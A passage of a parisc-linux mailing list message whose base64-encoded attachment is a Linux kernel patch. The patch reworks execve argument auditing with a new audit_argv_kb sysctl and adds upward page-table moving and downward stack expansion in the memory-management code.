VF9GQUlMX1BBTklDOgorCQlwcmludGsoS0VSTl9FUlIgImF1ZGl0OiAlc1xuIiwgbWVzc2FnZSk7
CisJCXNlbmRfc2lnKFNJR0tJTEwsIGN1cnJlbnQsIDApOworCQlicmVhazsKKwl9Cit9CisKIHN0
YXRpYyBpbmxpbmUgaW50IGF1ZGl0X3JhdGVfY2hlY2sodm9pZCkKIHsKIAlzdGF0aWMgdW5zaWdu
ZWQgbG9uZwlsYXN0X2NoZWNrID0gMDsKZGlmZiAtLWdpdCBhL2tlcm5lbC9hdWRpdC5oIGIva2Vy
bmVsL2F1ZGl0LmgKaW5kZXggYTMzNzAyMy4uOWNhZDVjZSAxMDA2NDQKLS0tIGEva2VybmVsL2F1
ZGl0LmgKKysrIGIva2VybmVsL2F1ZGl0LmgKQEAgLTExNiw2ICsxMTYsNyBAQCBleHRlcm4gdm9p
ZAkJICAgIGF1ZGl0X3NlbmRfcmVwbHkoaW50IHBpZCwgaW50IHNlcSwgaW50IHR5cGUsCiAJCQkJ
CSAgICAgdm9pZCAqcGF5bG9hZCwgaW50IHNpemUpOwogZXh0ZXJuIHZvaWQJCSAgICBhdWRpdF9s
b2dfbG9zdChjb25zdCBjaGFyICptZXNzYWdlKTsKIGV4dGVybiB2b2lkCQkgICAgYXVkaXRfcGFu
aWMoY29uc3QgY2hhciAqbWVzc2FnZSk7CitleHRlcm4gdm9pZAkJICAgIGF1ZGl0X2tpbGwoY29u
c3QgY2hhciAqbWVzc2FnZSk7CiAKIHN0cnVjdCBhdWRpdF9uZXRsaW5rX2xpc3QgewogCWludCBw
aWQ7CmRpZmYgLS1naXQgYS9rZXJuZWwvYXVkaXRzYy5jIGIva2VybmVsL2F1ZGl0c2MuYwppbmRl
eCA2MjhjN2FjLi40MDIyNTJlIDEwMDY0NAotLS0gYS9rZXJuZWwvYXVkaXRzYy5jCisrKyBiL2tl
cm5lbC9hdWRpdHNjLmMKQEAgLTE1NSw3ICsxNTUsNyBAQCBzdHJ1Y3QgYXVkaXRfYXV4X2RhdGFf
ZXhlY3ZlIHsKIAlzdHJ1Y3QgYXVkaXRfYXV4X2RhdGEJZDsKIAlpbnQgYXJnYzsKIAlpbnQgZW52
YzsKLQljaGFyIG1lbVswXTsKKwlzdHJ1Y3QgbW1fc3RydWN0ICptbTsKIH07CiAKIHN0cnVjdCBh
dWRpdF9hdXhfZGF0YV9zb2NrZXRjYWxsIHsKQEAgLTc5NSw2ICs3OTUsNDggQEAgc3RhdGljIHZv
aWQgYXVkaXRfbG9nX3Rhc2tfaW5mbyhzdHJ1Y3QgYXVkaXRfYnVmZmVyICphYiwgc3RydWN0IHRh
c2tfc3RydWN0ICp0c2sKIAlhdWRpdF9sb2dfdGFza19jb250ZXh0KGFiKTsKIH0KIAorc3RhdGlj
IHZvaWQgYXVkaXRfbG9nX2V4ZWN2ZV9pbmZvKHN0cnVjdCBhdWRpdF9idWZmZXIgKmFiLAorCQlz
dHJ1Y3QgYXVkaXRfYXV4X2RhdGFfZXhlY3ZlICpheGkpCit7CisJaW50IGk7CisJbG9uZyBsZW47
CisJY29uc3QgY2hhciBfX3VzZXIgKnAgPSAoY29uc3QgY2hhciBfX3VzZXIgKilheGktPm1tLT5h
cmdfc3RhcnQ7CisKKwlpZiAoYXhpLT5tbSAhPSBjdXJyZW50LT5tbSkKKwkJcmV0dXJuOyAvKiBl
eGVjdmUgZmFpbGVkLCBubyBhZGRpdGlvbmFsIGluZm8gKi8KKworCWZvciAoaSA9IDA7IGkgPCBh
eGktPmFyZ2M7IGkrKywgcCArPSBsZW4pIHsKKwkJbG9uZyByZXQ7CisJCWNoYXIgKnRtcDsKKwor
CQlsZW4gPSBzdHJubGVuX3VzZXIocCwgTUFYX0FSR19TVFJMRU4pOworCQkvKgorCQkgKiBXZSBq
dXN0IGNyZWF0ZWQgdGhpcyBtbSwgaWYgd2UgY2FuJ3QgZmluZCB0aGUgc3RyaW5ncworCQkgKiB3
ZSBqdXN0IGNvcGllZCBpbiBzb21ldGhpbmcgaXMgX3ZlcnlfIHdyb25nLgorCQkgKi8KKwkJQlVH
X09OKCFsZW4pOworCisJCXRtcCA9IGttYWxsb2MobGVuLCBHRlBfS0VSTkVMKTsKKwkJaWYgKCF0
bXApIHsKKwkJCWF1ZGl0X2tpbGwoIm91dCBvZiBtZW1vcnkgZm9yIGFyZ3Ygc3RyaW5nLCIKKwkJ
CQkJIiB0ZXJtaW5hdGluZyBwcm9jZXNzXG4iKTsKKwkJCWJyZWFrOworCQl9CisKKwkJcmV0ID0g
Y29weV9mcm9tX3VzZXIodG1wLCBwLCBsZW4pOworCQkvKgorCQkgKiBUaGVyZSBpcyBubyByZWFz
b24gZm9yIHRoaXMgY29weSB0byBiZSBzaG9ydC4KKwkJICovCisJCUJVR19PTihyZXQpOworCisJ
CWF1ZGl0X2xvZ19mb3JtYXQoYWIsICJhJWQ9IiwgaSk7CisJCWF1ZGl0X2xvZ191bnRydXN0ZWRz
dHJpbmcoYWIsIHRtcCk7CisJCWF1ZGl0X2xvZ19mb3JtYXQoYWIsICJcbiIpOworCisJCWtmcmVl
KHRtcCk7CisJfQorfQorCiBzdGF0aWMgdm9pZCBhdWRpdF9sb2dfZXhpdChzdHJ1Y3QgYXVkaXRf
Y29udGV4dCAqY29udGV4dCwgc3RydWN0IHRhc2tfc3RydWN0ICp0c2spCiB7CiAJaW50IGksIGNh
bGxfcGFuaWMgPSAwOwpAQCAtOTM1LDEzICs5NzcsNyBAQCBzdGF0aWMgdm9pZCBhdWRpdF9sb2df
ZXhpdChzdHJ1Y3QgYXVkaXRfY29udGV4dCAqY29udGV4dCwgc3RydWN0IHRhc2tfc3RydWN0ICp0
cwogCiAJCWNhc2UgQVVESVRfRVhFQ1ZFOiB7CiAJCQlzdHJ1Y3QgYXVkaXRfYXV4X2RhdGFfZXhl
Y3ZlICpheGkgPSAodm9pZCAqKWF1eDsKLQkJCWludCBpOwotCQkJY29uc3QgY2hhciAqcDsKLQkJ
CWZvciAoaSA9IDAsIHAgPSBheGktPm1lbTsgaSA8IGF4aS0+YXJnYzsgaSsrKSB7Ci0JCQkJYXVk
aXRfbG9nX2Zvcm1hdChhYiwgImElZD0iLCBpKTsKLQkJCQlwID0gYXVkaXRfbG9nX3VudHJ1c3Rl
ZHN0cmluZyhhYiwgcCk7Ci0JCQkJYXVkaXRfbG9nX2Zvcm1hdChhYiwgIlxuIik7Ci0JCQl9CisJ
CQlhdWRpdF9sb2dfZXhlY3ZlX2luZm8oYWIsIGF4aSk7CiAJCQlicmVhazsgfQogCiAJCWNhc2Ug
QVVESVRfU09DS0VUQ0FMTDogewpAQCAtMTc2MSwzMiArMTc5NywzMSBAQCBpbnQgX19hdWRpdF9p
cGNfc2V0X3Blcm0odW5zaWduZWQgbG9uZyBxYnl0ZXMsIHVpZF90IHVpZCwgZ2lkX3QgZ2lkLCBt
b2RlX3QgbW9kZQogCXJldHVybiAwOwogfQogCitpbnQgYXVkaXRfYXJndl9rYiA9IDMyOworCiBp
bnQgYXVkaXRfYnBybShzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtKQogewogCXN0cnVjdCBhdWRp
dF9hdXhfZGF0YV9leGVjdmUgKmF4OwogCXN0cnVjdCBhdWRpdF9jb250ZXh0ICpjb250ZXh0ID0g
Y3VycmVudC0+YXVkaXRfY29udGV4dDsKLQl1bnNpZ25lZCBsb25nIHAsIG5leHQ7Ci0Jdm9pZCAq
dG87CiAKIAlpZiAobGlrZWx5KCFhdWRpdF9lbmFibGVkIHx8ICFjb250ZXh0IHx8IGNvbnRleHQt
PmR1bW15KSkKIAkJcmV0dXJuIDA7CiAKLQlheCA9IGttYWxsb2Moc2l6ZW9mKCpheCkgKyBQQUdF
X1NJWkUgKiBNQVhfQVJHX1BBR0VTIC0gYnBybS0+cCwKLQkJCQlHRlBfS0VSTkVMKTsKKwkvKgor
CSAqIEV2ZW4gdGhvdWdoIHRoZSBzdGFjayBjb2RlIGRvZXNuJ3QgbGltaXQgdGhlIGFyZytlbnYg
c2l6ZSBhbnkgbW9yZSwKKwkgKiB0aGUgYXVkaXQgY29kZSByZXF1aXJlcyB0aGF0IF9hbGxfIGFy
Z3VtZW50cyBiZSBsb2dnZWQgaW4gYSBzaW5nbGUKKwkgKiBuZXRsaW5rIHNrYi4gSGVuY2UgY2Fw
IGl0IDotKAorCSAqLworCWlmIChicHJtLT5hcmd2X2xlbiA+IChhdWRpdF9hcmd2X2tiIDw8IDEw
KSkKKwkJcmV0dXJuIC1FMkJJRzsKKworCWF4ID0ga21hbGxvYyhzaXplb2YoKmF4KSwgR0ZQX0tF
Uk5FTCk7CiAJaWYgKCFheCkKIAkJcmV0dXJuIC1FTk9NRU07CiAKIAlheC0+YXJnYyA9IGJwcm0t
PmFyZ2M7CiAJYXgtPmVudmMgPSBicHJtLT5lbnZjOwotCWZvciAocCA9IGJwcm0tPnAsIHRvID0g
YXgtPm1lbTsgcCA8IE1BWF9BUkdfUEFHRVMqUEFHRV9TSVpFOyBwID0gbmV4dCkgewotCQlzdHJ1
Y3QgcGFnZSAqcGFnZSA9IGJwcm0tPnBhZ2VbcCAvIFBBR0VfU0laRV07Ci0JCXZvaWQgKmthZGRy
ID0ga21hcChwYWdlKTsKLQkJbmV4dCA9IChwICsgUEFHRV9TSVpFKSAmIH4oUEFHRV9TSVpFIC0g
MSk7Ci0JCW1lbWNweSh0bywga2FkZHIgKyAocCAmIChQQUdFX1NJWkUgLSAxKSksIG5leHQgLSBw
KTsKLQkJdG8gKz0gbmV4dCAtIHA7Ci0JCWt1bm1hcChwYWdlKTsKLQl9Ci0KKwlheC0+bW0gPSBi
cHJtLT5tbTsKIAlheC0+ZC50eXBlID0gQVVESVRfRVhFQ1ZFOwogCWF4LT5kLm5leHQgPSBjb250
ZXh0LT5hdXg7CiAJY29udGV4dC0+YXV4ID0gKHZvaWQgKilheDsKZGlmZiAtLWdpdCBhL2tlcm5l
bC9zeXNjdGwuYyBiL2tlcm5lbC9zeXNjdGwuYwppbmRleCBjOTA0NzQ4Li41ZGZkNGQ3IDEwMDY0
NAotLS0gYS9rZXJuZWwvc3lzY3RsLmMKKysrIGIva2VybmVsL3N5c2N0bC5jCkBAIC03Niw2ICs3
Niw3IEBAIGV4dGVybiBpbnQgcGlkX21heF9taW4sIHBpZF9tYXhfbWF4OwogZXh0ZXJuIGludCBz
eXNjdGxfZHJvcF9jYWNoZXM7CiBleHRlcm4gaW50IHBlcmNwdV9wYWdlbGlzdF9mcmFjdGlvbjsK
IGV4dGVybiBpbnQgY29tcGF0X2xvZzsKK2V4dGVybiBpbnQgYXVkaXRfYXJndl9rYjsKIAogLyog
dGhpcyBpcyBuZWVkZWQgZm9yIHRoZSBwcm9jX2RvaW50dmVjX21pbm1heCBmb3IgW2ZzX11vdmVy
ZmxvdyBVSUQgYW5kIEdJRCAqLwogc3RhdGljIGludCBtYXhvbGR1aWQgPSA2NTUzNTsKQEAgLTYw
Myw2ICs2MDQsMTYgQEAgc3RhdGljIGN0bF90YWJsZSBrZXJuX3RhYmxlW10gPSB7CiAJCS5wcm9j
X2hhbmRsZXIJPSAmcHJvY19kb2ludHZlYywKIAl9LAogI2VuZGlmCisjaWZkZWYgQ09ORklHX0FV
RElUU1lTQ0FMTAorCXsKKwkJLmN0bF9uYW1lCT0gS0VSTl9BVURJVF9BUkdWLAorCQkucHJvY25h
bWUJPSAiYXVkaXRfYXJndl9rYiIsCisJCS5kYXRhCQk9ICZhdWRpdF9hcmd2X2tiLAorCQkubWF4
bGVuCQk9IHNpemVvZihpbnQpLAorCQkubW9kZQkJPSAwNjQ0LAorCQkucHJvY19oYW5kbGVyCT0g
JnByb2NfZG9pbnR2ZWMsCisJfSwKKyNlbmRpZgogCiAJeyAuY3RsX25hbWUgPSAwIH0KIH07CmRp
ZmYgLS1naXQgYS9tbS9tbWFwLmMgYi9tbS9tbWFwLmMKaW5kZXggODhkYTY4Ny4uOGM2Y2ViNSAx
MDA2NDQKLS0tIGEvbW0vbW1hcC5jCisrKyBiL21tL21tYXAuYwpAQCAtMTU2OSwzMyArMTU2OSwx
MyBAQCBpbnQgZXhwYW5kX3Vwd2FyZHMoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2ln
bmVkIGxvbmcgYWRkcmVzcykKIH0KICNlbmRpZiAvKiBDT05GSUdfU1RBQ0tfR1JPV1NVUCB8fCBD
T05GSUdfSUE2NCAqLwogCi0jaWZkZWYgQ09ORklHX1NUQUNLX0dST1dTVVAKLWludCBleHBhbmRf
c3RhY2soc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcykK
LXsKLQlyZXR1cm4gZXhwYW5kX3Vwd2FyZHModm1hLCBhZGRyZXNzKTsKLX0KLQotc3RydWN0IHZt
X2FyZWFfc3RydWN0ICoKLWZpbmRfZXh0ZW5kX3ZtYShzdHJ1Y3QgbW1fc3RydWN0ICptbSwgdW5z
aWduZWQgbG9uZyBhZGRyKQotewotCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLCAqcHJldjsK
LQotCWFkZHIgJj0gUEFHRV9NQVNLOwotCXZtYSA9IGZpbmRfdm1hX3ByZXYobW0sIGFkZHIsICZw
cmV2KTsKLQlpZiAodm1hICYmICh2bWEtPnZtX3N0YXJ0IDw9IGFkZHIpKQotCQlyZXR1cm4gdm1h
OwotCWlmICghcHJldiB8fCBleHBhbmRfc3RhY2socHJldiwgYWRkcikpCi0JCXJldHVybiBOVUxM
OwotCWlmIChwcmV2LT52bV9mbGFncyAmIFZNX0xPQ0tFRCkgewotCQltYWtlX3BhZ2VzX3ByZXNl
bnQoYWRkciwgcHJldi0+dm1fZW5kKTsKLQl9Ci0JcmV0dXJuIHByZXY7Ci19Ci0jZWxzZQogLyoK
ICAqIHZtYSBpcyB0aGUgZmlyc3Qgb25lIHdpdGggYWRkcmVzcyA8IHZtYS0+dm1fc3RhcnQuICBI
YXZlIHRvIGV4dGVuZCB2bWEuCiAgKi8KLWludCBleHBhbmRfc3RhY2soc3RydWN0IHZtX2FyZWFf
c3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcykKKyNpZm5kZWYgQ09ORklHX1NUQUNL
X0dST1dTVVAKK3N0YXRpYyBpbmxpbmUKKyNlbmRpZgoraW50IGV4cGFuZF9kb3dud2FyZHMoc3Ry
dWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcykKIHsKIAlpbnQg
ZXJyb3I7CiAKQEAgLTE2MzIsNiArMTYxMiwzNCBAQCBpbnQgZXhwYW5kX3N0YWNrKHN0cnVjdCB2
bV9hcmVhX3N0cnVjdCAqdm1hLCB1bnNpZ25lZCBsb25nIGFkZHJlc3MpCiAJcmV0dXJuIGVycm9y
OwogfQogCisjaWZkZWYgQ09ORklHX1NUQUNLX0dST1dTVVAKK2ludCBleHBhbmRfc3RhY2soc3Ry
dWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcmVzcykKK3sKKwlyZXR1
cm4gZXhwYW5kX3Vwd2FyZHModm1hLCBhZGRyZXNzKTsKK30KKworc3RydWN0IHZtX2FyZWFfc3Ry
dWN0ICoKK2ZpbmRfZXh0ZW5kX3ZtYShzdHJ1Y3QgbW1fc3RydWN0ICptbSwgdW5zaWduZWQgbG9u
ZyBhZGRyKQoreworCXN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLCAqcHJldjsKKworCWFkZHIg
Jj0gUEFHRV9NQVNLOworCXZtYSA9IGZpbmRfdm1hX3ByZXYobW0sIGFkZHIsICZwcmV2KTsKKwlp
ZiAodm1hICYmICh2bWEtPnZtX3N0YXJ0IDw9IGFkZHIpKQorCQlyZXR1cm4gdm1hOworCWlmICgh
cHJldiB8fCBleHBhbmRfc3RhY2socHJldiwgYWRkcikpCisJCXJldHVybiBOVUxMOworCWlmIChw
cmV2LT52bV9mbGFncyAmIFZNX0xPQ0tFRCkgeworCQltYWtlX3BhZ2VzX3ByZXNlbnQoYWRkciwg
cHJldi0+dm1fZW5kKTsKKwl9CisJcmV0dXJuIHByZXY7Cit9CisjZWxzZQoraW50IGV4cGFuZF9z
dGFjayhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgdW5zaWduZWQgbG9uZyBhZGRyZXNzKQor
eworCXJldHVybiBleHBhbmRfZG93bndhcmRzKHZtYSwgYWRkcmVzcyk7Cit9CisKIHN0cnVjdCB2
bV9hcmVhX3N0cnVjdCAqCiBmaW5kX2V4dGVuZF92bWEoc3RydWN0IG1tX3N0cnVjdCAqIG1tLCB1
bnNpZ25lZCBsb25nIGFkZHIpCiB7CmRpZmYgLS1naXQgYS9tbS9tcHJvdGVjdC5jIGIvbW0vbXBy
b3RlY3QuYwppbmRleCAzYjhmM2MwLi5lODM0NmMzIDEwMDY0NAotLS0gYS9tbS9tcHJvdGVjdC5j
CisrKyBiL21tL21wcm90ZWN0LmMKQEAgLTEyOCw3ICsxMjgsNyBAQCBzdGF0aWMgdm9pZCBjaGFu
Z2VfcHJvdGVjdGlvbihzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKIAlmbHVzaF90bGJfcmFu
Z2Uodm1hLCBzdGFydCwgZW5kKTsKIH0KIAotc3RhdGljIGludAoraW50CiBtcHJvdGVjdF9maXh1
cChzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwgc3RydWN0IHZtX2FyZWFfc3RydWN0ICoqcHBy
ZXYsCiAJdW5zaWduZWQgbG9uZyBzdGFydCwgdW5zaWduZWQgbG9uZyBlbmQsIHVuc2lnbmVkIGxv
bmcgbmV3ZmxhZ3MpCiB7CmRpZmYgLS1naXQgYS9tbS9tcmVtYXAuYyBiL21tL21yZW1hcC5jCmlu
ZGV4IDVkNGJkNGYuLjg1OGEzNmIgMTAwNjQ0Ci0tLSBhL21tL21yZW1hcC5jCisrKyBiL21tL21y
ZW1hcC5jCkBAIC0xMTgsOSArMTE4LDYzIEBAIHN0YXRpYyB2b2lkIG1vdmVfcHRlcyhzdHJ1Y3Qg
dm1fYXJlYV9zdHJ1Y3QgKnZtYSwgcG1kX3QgKm9sZF9wbWQsCiAJCXNwaW5fdW5sb2NrKCZtYXBw
aW5nLT5pX21tYXBfbG9jayk7CiB9CiAKK3N0YXRpYyB2b2lkIG1vdmVfcHRlc191cChzdHJ1Y3Qg
dm1fYXJlYV9zdHJ1Y3QgKnZtYSwgcG1kX3QgKm9sZF9wbWQsCisJCXVuc2lnbmVkIGxvbmcgb2xk
X2FkZHIsIHVuc2lnbmVkIGxvbmcgb2xkX2VuZCwKKwkJc3RydWN0IHZtX2FyZWFfc3RydWN0ICpu
ZXdfdm1hLCBwbWRfdCAqbmV3X3BtZCwKKwkJdW5zaWduZWQgbG9uZyBuZXdfYWRkcikKK3sKKwlz
dHJ1Y3QgYWRkcmVzc19zcGFjZSAqbWFwcGluZyA9IE5VTEw7CisJc3RydWN0IG1tX3N0cnVjdCAq
bW0gPSB2bWEtPnZtX21tOworCXB0ZV90ICpvbGRfcHRlLCAqbmV3X3B0ZSwgcHRlOworCXNwaW5s
b2NrX3QgKm9sZF9wdGwsICpuZXdfcHRsOworCXVuc2lnbmVkIGxvbmcgbmV3X2VuZCA9IG5ld19h
ZGRyICsgKG9sZF9lbmQgLSBvbGRfYWRkcik7CisKKwlpZiAodm1hLT52bV9maWxlKSB7CisJCS8q
CisJCSAqIFN1YnRsZSBwb2ludCBmcm9tIFJhamVzaCBWZW5rYXRhc3VicmFtYW5pYW46IGJlZm9y
ZQorCQkgKiBtb3ZpbmcgZmlsZS1iYXNlZCBwdGVzLCB3ZSBtdXN0IGxvY2sgdm10cnVuY2F0ZSBv
dXQsCisJCSAqIHNpbmNlIGl0IG1pZ2h0IGNsZWFuIHRoZSBkc3Qgdm1hIGJlZm9yZSB0aGUgc3Jj
IHZtYSwKKwkJICogYW5kIHdlIHByb3BhZ2F0ZSBzdGFsZSBwYWdlcyBpbnRvIHRoZSBkc3QgYWZ0
ZXJ3YXJkLgorCQkgKi8KKwkJbWFwcGluZyA9IHZtYS0+dm1fZmlsZS0+Zl9tYXBwaW5nOworCQlz
cGluX2xvY2soJm1hcHBpbmctPmlfbW1hcF9sb2NrKTsKKwkJaWYgKG5ld192bWEtPnZtX3RydW5j
YXRlX2NvdW50ICYmCisJCSAgICBuZXdfdm1hLT52bV90cnVuY2F0ZV9jb3VudCAhPSB2bWEtPnZt
X3RydW5jYXRlX2NvdW50KQorCQkJbmV3X3ZtYS0+dm1fdHJ1bmNhdGVfY291bnQgPSAwOworCX0K
KworCS8qCisJICogV2UgZG9uJ3QgaGF2ZSB0byB3b3JyeSBhYm91dCB0aGUgb3JkZXJpbmcgb2Yg
c3JjIGFuZCBkc3QKKwkgKiBwdGUgbG9ja3MgYmVjYXVzZSBleGNsdXNpdmUgbW1hcF9zZW0gcHJl
dmVudHMgZGVhZGxvY2suCisJICovCisJb2xkX3B0ZSA9IHB0ZV9vZmZzZXRfbWFwX2xvY2sobW0s
IG9sZF9wbWQsIG9sZF9lbmQtMSwgJm9sZF9wdGwpOworIAluZXdfcHRlID0gcHRlX29mZnNldF9t
YXBfbmVzdGVkKG5ld19wbWQsIG5ld19lbmQtMSk7CisJbmV3X3B0bCA9IHB0ZV9sb2NrcHRyKG1t
LCBuZXdfcG1kKTsKKwlpZiAobmV3X3B0bCAhPSBvbGRfcHRsKQorCQlzcGluX2xvY2tfbmVzdGVk
KG5ld19wdGwsIFNJTkdMRV9ERVBUSF9ORVNUSU5HKTsKKwlhcmNoX2VudGVyX2xhenlfbW11X21v
ZGUoKTsKKworCWZvciAoOyBvbGRfZW5kID4gb2xkX2FkZHI7IG9sZF9wdGUtLSwgb2xkX2VuZCAt
PSBQQUdFX1NJWkUsCisJCQkJICAgbmV3X3B0ZS0tLCBuZXdfZW5kIC09IFBBR0VfU0laRSkgewor
CQlpZiAocHRlX25vbmUoKm9sZF9wdGUpKQorCQkJY29udGludWU7CisJCXB0ZSA9IHB0ZXBfY2xl
YXJfZmx1c2godm1hLCBvbGRfZW5kLTEsIG9sZF9wdGUpOworCQlwdGUgPSBtb3ZlX3B0ZShwdGUs
IG5ld192bWEtPnZtX3BhZ2VfcHJvdCwgb2xkX2VuZC0xLCBuZXdfZW5kLTEpOworCQlzZXRfcHRl
X2F0KG1tLCBuZXdfZW5kLTEsIG5ld19wdGUsIHB0ZSk7CisJfQorCisJYXJjaF9sZWF2ZV9sYXp5
X21tdV9tb2RlKCk7CisJaWYgKG5ld19wdGwgIT0gb2xkX3B0bCkKKwkJc3Bpbl91bmxvY2sobmV3
X3B0bCk7CisJcHRlX3VubWFwX25lc3RlZChuZXdfcHRlIC0gMSk7CisJcHRlX3VubWFwX3VubG9j
ayhvbGRfcHRlIC0gMSwgb2xkX3B0bCk7CisJaWYgKG1hcHBpbmcpCisJCXNwaW5fdW5sb2NrKCZt
YXBwaW5nLT5pX21tYXBfbG9jayk7Cit9CisKICNkZWZpbmUgTEFURU5DWV9MSU1JVAkoNjQgKiBQ
QUdFX1NJWkUpCiAKLXN0YXRpYyB1bnNpZ25lZCBsb25nIG1vdmVfcGFnZV90YWJsZXMoc3RydWN0
IHZtX2FyZWFfc3RydWN0ICp2bWEsCit1bnNpZ25lZCBsb25nIG1vdmVfcGFnZV90YWJsZXMoc3Ry
dWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCiAJCXVuc2lnbmVkIGxvbmcgb2xkX2FkZHIsIHN0cnVj
dCB2bV9hcmVhX3N0cnVjdCAqbmV3X3ZtYSwKIAkJdW5zaWduZWQgbG9uZyBuZXdfYWRkciwgdW5z
aWduZWQgbG9uZyBsZW4pCiB7CkBAIC0xMzIsMjEgKzE4NiwyNSBAQCBzdGF0aWMgdW5zaWduZWQg
bG9uZyBtb3ZlX3BhZ2VfdGFibGVzKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAogCiAJZm9y
ICg7IG9sZF9hZGRyIDwgb2xkX2VuZDsgb2xkX2FkZHIgKz0gZXh0ZW50LCBuZXdfYWRkciArPSBl
eHRlbnQpIHsKIAkJY29uZF9yZXNjaGVkKCk7CisKIAkJbmV4dCA9IChvbGRfYWRkciArIFBNRF9T
SVpFKSAmIFBNRF9NQVNLOwogCQlpZiAobmV4dCAtIDEgPiBvbGRfZW5kKQogCQkJbmV4dCA9IG9s
ZF9lbmQ7CiAJCWV4dGVudCA9IG5leHQgLSBvbGRfYWRkcjsKKwogCQlvbGRfcG1kID0gZ2V0X29s
ZF9wbWQodm1hLT52bV9tbSwgb2xkX2FkZHIpOwogCQlpZiAoIW9sZF9wbWQpCiAJCQljb250aW51
ZTsKIAkJbmV3X3BtZCA9IGFsbG9jX25ld19wbWQodm1hLT52bV9tbSwgbmV3X2FkZHIpOwogCQlp
ZiAoIW5ld19wbWQpCiAJCQlicmVhazsKKwogCQluZXh0ID0gKG5ld19hZGRyICsgUE1EX1NJWkUp
ICYgUE1EX01BU0s7CiAJCWlmIChleHRlbnQgPiBuZXh0IC0gbmV3X2FkZHIpCiAJCQlleHRlbnQg
PSBuZXh0IC0gbmV3X2FkZHI7CiAJCWlmIChleHRlbnQgPiBMQVRFTkNZX0xJTUlUKQogCQkJZXh0
ZW50ID0gTEFURU5DWV9MSU1JVDsKKwogCQltb3ZlX3B0ZXModm1hLCBvbGRfcG1kLCBvbGRfYWRk
ciwgb2xkX2FkZHIgKyBleHRlbnQsCiAJCQkJbmV3X3ZtYSwgbmV3X3BtZCwgbmV3X2FkZHIpOwog
CX0KQEAgLTE1NCw2ICsyMTIsNTEgQEAgc3RhdGljIHVuc2lnbmVkIGxvbmcgbW92ZV9wYWdlX3Rh
YmxlcyhzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKIAlyZXR1cm4gbGVuICsgb2xkX2FkZHIg
LSBvbGRfZW5kOwkvKiBob3cgbXVjaCBkb25lICovCiB9CiAKK3Vuc2lnbmVkIGxvbmcgbW92ZV9w
YWdlX3RhYmxlc191cChzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZtYSwKKwkJdW5zaWduZWQgbG9u
ZyBvbGRfYWRkciwgc3RydWN0IHZtX2FyZWFfc3RydWN0ICpuZXdfdm1hLAorCQl1bnNpZ25lZCBs
b25nIG5ld19hZGRyLCB1bnNpZ25lZCBsb25nIGxlbikKK3sKKwl1bnNpZ25lZCBsb25nIGV4dGVu
dCwgcHJldiwgb2xkX2VuZCwgbmV3X2VuZDsKKwlwbWRfdCAqb2xkX3BtZCwgKm5ld19wbWQ7CisK
KwlvbGRfZW5kID0gb2xkX2FkZHIgKyBsZW47CisJbmV3X2VuZCA9IG5ld19hZGRyICsgbGVuOwor
CWZsdXNoX2NhY2hlX3JhbmdlKHZtYSwgb2xkX2FkZHIsIG9sZF9lbmQpOworCisJZm9yICg7IG9s
ZF9lbmQgPiBvbGRfYWRkcjsgb2xkX2VuZCAtPSBleHRlbnQsIG5ld19lbmQgLT0gZXh0ZW50KSB7
CisJCWNvbmRfcmVzY2hlZCgpOworCisJCS8qCisJCSAqIGNhbGN1bGF0ZSBob3cgZmFyIHRpbGwg
cHJldiBQTUQgYm91bmRhcnkgZm9yIG9sZAorCQkgKi8KKwkJcHJldiA9IChvbGRfZW5kIC0gMSkg
JiBQTURfTUFTSzsKKwkJaWYgKHByZXYgPCBvbGRfYWRkcikKKwkJCXByZXYgPSBvbGRfYWRkcjsK
KwkJZXh0ZW50ID0gb2xkX2VuZCAtIHByZXY7CisKKwkJb2xkX3BtZCA9IGdldF9vbGRfcG1kKHZt
YS0+dm1fbW0sIG9sZF9lbmQtMSk7CisJCWlmICghb2xkX3BtZCkKKwkJCWNvbnRpbnVlOworCQlu
ZXdfcG1kID0gYWxsb2NfbmV3X3BtZCh2bWEtPnZtX21tLCBuZXdfZW5kLTEpOworCQlpZiAoIW5l
d19wbWQpCisJCQlicmVhazsKKworCQkvKgorCQkgKiBjYWxjdWxhdGUgYW5kIGNsaXAgdG8gcHJl
diBQTUQgYm91bmRhcnkgZm9yIG5ldworCQkgKi8KKwkJcHJldiA9IChuZXdfZW5kIC0gMSkgJiBQ
TURfTUFTSzsKKwkJaWYgKGV4dGVudCA+IG5ld19lbmQgLSBwcmV2KQorCQkJZXh0ZW50ID0gbmV3
X2VuZCAtIHByZXY7CisJCWlmIChleHRlbnQgPiBMQVRFTkNZX0xJTUlUKQorCQkJZXh0ZW50ID0g
TEFURU5DWV9MSU1JVDsKKworCQltb3ZlX3B0ZXNfdXAodm1hLCBvbGRfcG1kLCBvbGRfZW5kIC0g
ZXh0ZW50LCBvbGRfZW5kLAorCQkJCW5ld192bWEsIG5ld19wbWQsIG5ld19lbmQgLSBleHRlbnQp
OworCX0KKworCXJldHVybiBvbGRfYWRkciArIGxlbiAtIG9sZF9lbmQ7Cit9CisKIHN0YXRpYyB1
bnNpZ25lZCBsb25nIG1vdmVfdm1hKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAogCQl1bnNp
Z25lZCBsb25nIG9sZF9hZGRyLCB1bnNpZ25lZCBsb25nIG9sZF9sZW4sCiAJCXVuc2lnbmVkIGxv
bmcgbmV3X2xlbiwgdW5zaWduZWQgbG9uZyBuZXdfYWRkcikK
------=_Part_33774_26921243.1178441494253
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
